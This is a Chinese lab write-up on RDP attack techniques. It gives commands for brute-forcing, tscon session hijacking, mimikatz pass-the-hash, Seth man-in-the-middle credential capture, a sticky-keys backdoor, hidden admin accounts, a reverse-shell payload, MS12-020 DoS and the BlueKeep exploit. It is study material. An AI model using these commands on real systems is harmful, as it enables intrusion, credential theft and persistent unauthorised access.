内网中的RDP利用

news2024/11/17 1:37:17

学习参考

https://www.freebuf.com/articles/network/276242.html

能跟着实操的都实操一下。熟悉一些命令,过程。

实验环境:win2008,192.168.72.139

两个用户: administrator,shizuru

RDP服务 确定/开启

RDP服务确定

看是否开启RDP,

注册表查询

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服务是否开启: 1关闭, 0开启 

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服务的端口

进程查看

tasklist /svc | findstr "TermService"    # 找到对应服务进程的 PID 
netstat -ano | findstr "3389"    # 找到进程对应的端口号

端口扫描

nmap,fscan扫,看有无3389。

RDP服务开启

如果没开启就需要我们开启RDP服务。

修改注册表

先设置允许RDP,

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

再配置防火墙,允许远程桌面连接

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

在这里插入图片描述

MSF模块启动

拿到meterpreter后:

use post/windows/manage/enable_rdp
set session 1
exploit

RDP服务连接

前面开启RDP服务后就可以连接了,

注意有时候会报错

这时关闭鉴权模式即可:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

注意还要把shizuru加入Remote Desktop组才能登录:

在这里插入图片描述

Linux上用rdesktop:

rdesktop <ip>

在这里插入图片描述

kali这边登录后,win2008那边就下线了。

Windows用mstsc.exe

在这里插入图片描述

在这里插入图片描述

对RDP口令爆破

跟ssh这些一样,可以在线爆破。

比如hydra

hydra -v -f -l user -P wordlists.txt rdp://ip
hydra -v -f -l shizuru  -P pass.txt rdp://192.168.72.139

如果是域的话就是INTRANET\win2008这种的用户名

在这里插入图片描述

成功与否完全取决于字典强度。

RDP劫持实现未授权登录 (✨)

这是重点。经常提到的内网RDP未授权应该指的就是这个。

在有多个用户登录一台机子(不同账户分开),看任务管理器:

在这里插入图片描述

我这里是admin视角,右键shizuru后可以点连接,输入密码切换:

在这里插入图片描述

在这里插入图片描述

重点

Windows有一个tscon命令,也可以实现这种切换功能。

首先

query user

获取用户对应会话的ID,

然后tscon,对应ID,密码

tscon <会话ID> /PASSWORD:<密码>

在这里插入图片描述

即可切换。

而有一个特殊用法

在SYSTEM权限下可以直接tscon <ID>切换!

此时攻击者可以在不提供其他用户登录凭据的情况下自由切换会话桌面,实现劫持其他用户的 RDP 会话。

有什么用呢?

RDP 会话劫持在特定情况下可以大显身手,比如对于较新的 Windows 系统,默认情况下是无法通过 Mimikatz 导出用户明文口令的,此时我们通过常规方法无法切换至另一用户的桌面,那么我们便可以借助上文提到的方法,先提权至 SYSTEM 权限,再劫持目标用户的 RDP 并切换过去。

特别注意的是,即使远程连接的用户关闭了远程连接窗口,也不会劫持该回话,只是在后台显示 “已断开连接”(Disconnected),

此时**仍能在SYSTEM权限下通过tscon**实现未授权连接。

高权限劫持低权限用户的RDP

对于这个实验环境就是admin 劫持 shizuru。

由于高权限一般指管理员权限,所以提权到SYSTEM相对容易一些。

这里学习一下:

高权限用户劫持低权限用户的 RDP 会话利用起来比较简单,由于具有管理员权限,可以直接通过创建服务等方式获取 SYSTEM 权限。

这是个很好的思路,因为很多服务是以SYSTEM权限运行的。

创建劫持用户会话的服务:

(cmd)

sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"
sc start rdp

执行sc start rdp后,我们创建的劫持会话的服务将会启动,由于 Windows 是以 SYSTEM 权限运行服务的,所以我们tscon 2命令也会以 SYSTEM 权限运行,此时便可以在不提供目标用户密码的情况下成功劫持目标用户的会话:

在这里插入图片描述

sc start rdp后就能成功免密登录。

也可以用psexec来获得一个SYSTEM权限的cmd

psexec.exe -s -i cmd 

query user
tscon 2 /dest:console

在这里插入图片描述

低权限劫持高权限的RDP

这里对应 shizuru劫持admin。

由于低权限,就需要用其它辅助手段提权了。

场景:

假设我们以shizuru rdp登录(拿到了账密),发现有一个admin的会话:

在这里插入图片描述

我们配合MSF,CS这些来拿shizuru的SYSTEM权限。

由于要上传shell,貌似rdp不支持跨机复制。

这里模拟一下,msf生成木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.181 LPORT=2333 --platform windows -f exe -o shell.exe

起个http服务,shizuru上下载,msf监听上线。

然后meterpreter getsystem拿权限。(呃呃呃,并没拿到。。)

(所以说低权限打高权限很难)

假设我们拿到SYSTEM了,那么直接

query user
tscon <ID> /dest:console

亦可。

利用hash传递登录RDP远程桌面

只有"Restricted Admin"才行,普通RDP组用户不行

在这里插入图片描述

修改/查询 Restricted Admin Mode

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
# 查看是否成功开启

0表示开启。

在这里插入图片描述

开启Restricted Admin Mode后,可以用Mimikatz pth来攻击。

privilege::debug
sekurlsa::pth /user:administrator /domain:如果有的话 /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

这里直接搬图了:

在这里插入图片描述

但其实,既然都抓到admin的hash了,也可以干别的pth,不需要局限在RDP这里,不如pth smb这些。

当然就当一个点记下来也好。也不失为一种方法。

RDP远程桌面中间人攻击

既然是内网协议,就必有中间人攻击。。。

中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。

工具:

Seth是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。

https://github.com/SySS-Research/Seth

用法:

Usage:
./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]

INTERFACE:网卡
ATTACKER IP:中间人 IP
VICTIM IP:连接者 IP
GATEWAY IP|HOST IP:被连接的远程主机 IP
COMMAND:启动时执行的命令

然后当 PC 上的用户远程登录 DC 时便会抓取到登录用户的明文密码。不仅如此,还可以对用户键盘的操作进行记录,甚至使用<COMMAND>在目标主机上执行命令。详情请看:https://www.freebuf.com/sectool/178146.html

启动seth监听:(为方便这里直接kali连接win2008)

sudo ./seth.sh eth0 192.168.136.181 192.168.136.181 192.168.72.139

在这里插入图片描述

可能要Windows登才能抓到keyboard之类的?

获取RDP远程桌面连接记录

远程桌面连接的历史记录可以定位到关键服务器

获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。

手动获取比较复杂,3gstudent有脚本:

https://github.com/3gstudent/List-RDP-Connections-History

远程桌面相关的维持权限的方法

Windows辅助功能维权

这篇讲的很细:

https://xz.aliyun.com/t/7034

可以用的有 粘滞键,放大镜,讲述人这些。

以粘滞键为例:

sethc.exe,路径c:\windows\system32\sethc.exe

找到EXE后,把sethc.exe改为cmd.exe即可:

cd c:\windows\system32  
move sethc.exe sethc.exe.bak   // 将sethc.exe重命名
copy cmd.exe sethc.exe       // 将一个cmd.exe副本保存伪装成sethc.exe

这样我们不需要登录,只需要远程桌面服务连接,在登录界面调用粘滞键即可拿到shell。

由于前面我们将cmd放在system32下,所以这个shell是SYSTEM权限,

我们就可以添加一个管理员用户登录,或者tscon <ID>随意切换会话了。

但是,有些主机做了防护:即使是SYSTEM权限也是无法修改 sethc.exe的,只有TrustedInstaller权限才可以。

此时可以steal TrustedInstaller.exe的token。

方法如下:

在meterpreter拿到shell后

sc.exe start TrustedInstaller       # 先进入shell启动TrustedInstaller服务

use incognito
ps      # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID>      # 从该进程中窃取令牌
getuid   

然后就可以对sethc.exe进行操作了。

MSF中也有对应模块实现:

post/windows/manage/sticky_keys

use post/windows/manage/sticky_keys
set session 1
set target UTILMAN # 辅助功能
exploit

在这里插入图片描述

Windows 系统隐藏账户

net user hacker$ 123qweQWE /add
net localgroup administrators hacker$ /add

可以看到添加后,net user是看不到 hacker$账户的:

在这里插入图片描述

然后把hacker$加入RDP组就可以用隐藏账户登录了。

更为隐藏的方式这里不深入探究,原理就是利用注册表来注册这个隐藏账户,这样就只能在注册表中才能看到。

RDP相关漏洞(✨)

对3389端口的DoS攻击

这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行,然后控制系统。

msf中有两个利用模块,一个exp,一个scan

search MS12-020

这里用win7实验:ip:192.168.72.141

先检测:

use auxiliary/scanner/rdp/ms12_020_check
set rhosts 192.168.72.141
set rport 3389
exploit

在这里插入图片描述

然后打exp:(看hint用的UAF。。)

use dos/windows/rdp/ms12_020_maxchannelids
set RHOSTS 192.168.72.141
exploit

在这里插入图片描述

再看win7:经典蓝屏~

在这里插入图片描述

可能利用的场景:

DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。

CVE-2019-0708

Windows 远程桌面服务的远程代码执行漏洞

影响版本:

Windows 7 foR 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 foR 32-bit Systems Service Pack 2

Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows XP SP3 x86

Windows XP Professional x64 Edition SP2

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 x64 Edition SP2

Windows 8 和 Windows 10 及之后版本的用户不受此漏洞的影响。

MSF中也有模块:

search CVE-2019-0708

一个检测,一个EXP

Scan:

ucanner/rdp/cve_2019_0708_bluekeep
options
set RDP_CLIENT_IP kali_ip
st RHOSTS win7_ip

在这里插入图片描述

EXP

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.72.141
set lhost 192.168.136.181
set rdp_client_ip 192.168.136.181
unset RDP_CLIENT_NAME
set target 2    # 这里的 2 代表目标机为虚拟机环境
exploit

由于我是用vmware17搭的win7,target里面最高到15.1,所以打不通。

打通示例:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119962.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

力扣第79题 单词搜索

前言 记录一下刷题历程 力扣第79题 单词搜索 单词搜索 原题目&#xff1a;给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 单词必须按照字母顺序&#xff0c;通过相邻…

解决ubuntu安装modelsim20.1 32位库依赖失败问题(附简易安装方法)

先说方法&#xff1a;不用管&#xff0c;直接继续安装软件就行。 注意&#xff0c;选中 libgtk-3-0t64:i386 而非 libgtk-3-0:i386 注意&#xff0c;选中 libcanberra0t64:i386 而非 libcanberra0:i386 注意&#xff0c;选中 libpng16-16t64:i386 而非 libpng16-16:i386 注意&…

白盒测试_学习总结

目录 一、白盒测试的概念理解 二、白盒测试的分类 1、静态分析 2、动态分析 &#xff08;1&#xff09;逻辑覆盖测试 a、语句覆盖 b、判定覆盖 c、条件覆盖 d、判定条件覆盖 e、条件组合覆盖 f、路径覆盖 &#xff08;2&#xff09;基本路径测试法 3、总结 一、白盒…

Arduino基础入门学习——BH1750(GY-302)+ LED模拟自动路灯的实现

BH1750&#xff08;GY-302&#xff09; LED 一、前言三、准备工作四、程序代码五、运行结果六、结束语 一、前言 相信很多人都见过一种路灯&#xff0c;白天的时候它是不亮的&#xff0c;等到了晚上环境变暗时就开始它的照明工作了&#xff0c;不了解的人可能认为是人为操纵它工…

如何编写Prompt,利用AI高效生成图表——图表狐(FoxChart)指南

在数据可视化领域&#xff0c;图表是数据的重要表达方式。为了让更多人能够轻松高校地生成美观、专业的图表&#xff0c;图表狐(FoxChart)应用而生。然而&#xff0c;要想充分发挥AI的潜力&#xff0c;编写合适的Prompt至关重要。本文介绍一些编写Prompt的原则&#xff0c;帮助…

代码随想录算法训练营第39天|198.打家劫舍、 213.打家劫舍II、337. 打家劫舍 III

目录 198.打家劫舍1、题目描述2、思路3、code4、复杂度分析 213.打家劫舍II1、题目描述2、思路3、code4、复杂度分析 337. 打家劫舍 III1、题目描述2、思路3、code4、复杂度分析 198.打家劫舍 题目链接&#xff1a;添加链接描述 1、题目描述 你是一个专业的小偷&#xff0c;计…

8、用户行为数据同步

1、 数据通道 用户行为数据由Flume从Kafka直接同步到HDFS&#xff0c;由于离线数仓采用Hive的分区表按天统计&#xff0c;所以目标路径要包含一层日期。具体数据流向如下图所示。 2、 日志消费Flume配置概述 按照规划&#xff0c;该Flume需将Kafka中topic_log的数据发往HDFS。…

cmake编译MQTT-C源码

Windows端编译MQTT-C源码&#xff0c;获取mqttc库&#xff08;动态库与静态库&#xff09;&#xff0c;用于集成到Qt工程中使用mqtt订阅与发布功能。 编译源码与编译出来的mqttc动态库、静态库下载​​​​​​​​​​​​​​https://download.csdn.net/download/qq_38159549…

直播怎么录屏?录屏网页的工具有吗?推荐这3款你千万不要错过~

直播与网页录屏&#xff1a;三款必备录屏软件推荐 为什么要记录直播&#xff1f;直播可以捕捉实时发生事件&#xff0c;是真真实实的one take&#xff0c;更重要的是可以记录直播画面中的实时弹幕、评论区的互动&#xff0c;无论是激动人心的体育赛事、教育课程还是互动性强的连…

C++11 14 17 20 23进化史

C11、C14、C17、C20和C23是C语言标准的不同版本&#xff0c;它们之间在功能、特性和语法上存在一些区别。以下是对这些版本主要区别的概述&#xff1a; C11 C11是C语言的一个重要标准&#xff0c;引入了大量新特性和改进&#xff0c;使C变得更加易用和强大。主要特性包括&…

Qt工程使用MQTT-C库与mqtt服务器数据通信

实现mqtt订阅与发布话题&#xff0c;与mqtt服务器进行数据通信 编译环境&#xff1a;Qt5.15.2 vs2019 需要mqttc库&#xff1a;mqttc.lib, mqttc.dll&#xff08;根据MQTT-C源码编译出来的库&#xff0c;参考cmake编译MQTT-C源码-CSDN博客&#xff09; 一、Qt pro文件编写 …

android kotlin 基础复习 继承 inherit

1、新建文件kt 2、代码&#xff1a; /**用户基类**/ open class Person1(name:String){/**次级构造函数**/constructor(name:String,age:Int):this(name){//初始化println("-------基类次级构造函数---------")println("name:${name},age:${age}")} }/**子…

信息安全工程师(1)计算机网络分类

一、按分布范围分类 广域网&#xff08;WAN&#xff09;&#xff1a; 定义&#xff1a;广域网的任务是提供长距离通信&#xff0c;运送主机所发送的数据。其覆盖范围通常是直径为几十千米到几千千米的区域&#xff0c;因此也被称为远程网。特点&#xff1a;连接广域网的各个结点…

计算机毕业设计 财会信息管理系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

【吊打面试官系列-Redis面试题】怎么理解 Redis 事务?

大家好&#xff0c;我是锋哥。今天分享关于【怎么理解 Redis 事务&#xff1f;】面试题&#xff0c;希望对大家有帮助&#xff1b; 怎么理解 Redis 事务&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 1&#xff09;事务是一个单独的隔离操作&#xff1…

【LabVIEW学习篇 - 22】:ActiveX

文章目录 ActiveXActiveX打开Windows颜色选择对话框ActiveX将浏览器嵌入到前面板 ActiveX ActiveX是微软推出的一个开放的技术集的统称&#xff0c;它是很早之前出现的OLE(object linking and Embedding)技术的扩展&#xff0c;它是基于COM(Component Object Model)技术而建立…

meta元素

1&#xff0c;meta元素有4个全局属性 charset 设置文档的编码类型&#xff0c;通常设置为utf-8 <meta charset"utf-8" /> content 配合name或者http-equiv属性使用&#xff0c;为其value、 name 元数据名称(name的值)说明application name当前页所属Web应用系…

进程替换篇

文章目录 目录 前言 1.进程替换概念 2.进程替换的原理 3.进程替换的接口 4.接口功能验证 ①execl接口演示 ②execlp接口演示 ③execle接口演示 ④execv接口验证 5.尝试写一个自己的shell【了解】 前言 你一定见过类似于这样的“黑框框”&#xff0c;这个“黑框框”其实就是…

js 请求api + 解析数据 2个例子

起因&#xff0c; 目的: 补补 js 基础。 例1&#xff0c; 请求天气 api&#xff0c; 天气数据api js 中的 await await 关键字只能在 async 函数内部使用。函数内部可以使用 await&#xff0c;但是在函数外部直接使用 await 是不允许的。 async function fetchWeatherData…

[mysql]最基本的SELECT...FROM结构

第0种&#xff1a;最基本的查询语句 SELECT 字段名&#xff0c;字段名 FROM 表名 SELECT 1&#xff1b; SELECT 11,3*2&#xff1b; FROM SELECT 11,3*2 FROM DUAL&#xff1b;#dual&#xff1a;伪表 我们可以用它来保持一个平衡 这里我们的值不需要在任何一个表里&#xf…